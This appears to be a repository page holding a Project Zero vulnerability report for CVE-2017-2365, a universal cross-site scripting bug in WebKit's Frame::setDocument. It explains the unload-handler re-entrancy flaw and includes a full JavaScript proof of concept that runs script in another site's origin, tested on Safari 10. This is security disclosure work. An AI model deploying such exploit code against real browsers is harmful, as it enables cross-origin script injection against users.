Skip to content

Latest commit

 

History

History

CVE-2017-2365

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

UXSS via Frame::setDocument

Reported by [email protected], Dec 20 2016

Here's a snippet of Frame::setDocument.

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

Before setting m_doc to newDocument, it calls prepareForDestruction that fires unload event handlers. If we call Frame::setDocument with the new document a, and call Frame::setDocument again with the new document b in the unload event handler. Then prepareForDestruction will be never called on b, which means the frame will be never detached from b.

PoC:

'use strict'

let f = document.documentElement.appendChild(document.createElement('iframe'))
let a = f.contentDocument.documentElement.appendChild(
	document.createElement('iframe')
)

a.contentWindow.onunload = () => {
	f.src = "javascript:''"

	let b = f.contentDocument.appendChild(document.createElement('iframe'))
	b.contentWindow.onunload = () => {
		f.src = "javascript:''"

		let doc = f.contentDocument

		f.onload = () => {
			f.onload = () => {
				f.onload = null

				let s = doc.createElement('form')
				s.action = 'javascript:alert(location)'
				s.submit()
			}

			f.src = 'https://abc.xyz/'
		}
	}
}

f.src = "javascript:''"

Tested on Safari 10.0.2(12602.3.12.0.1).

Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057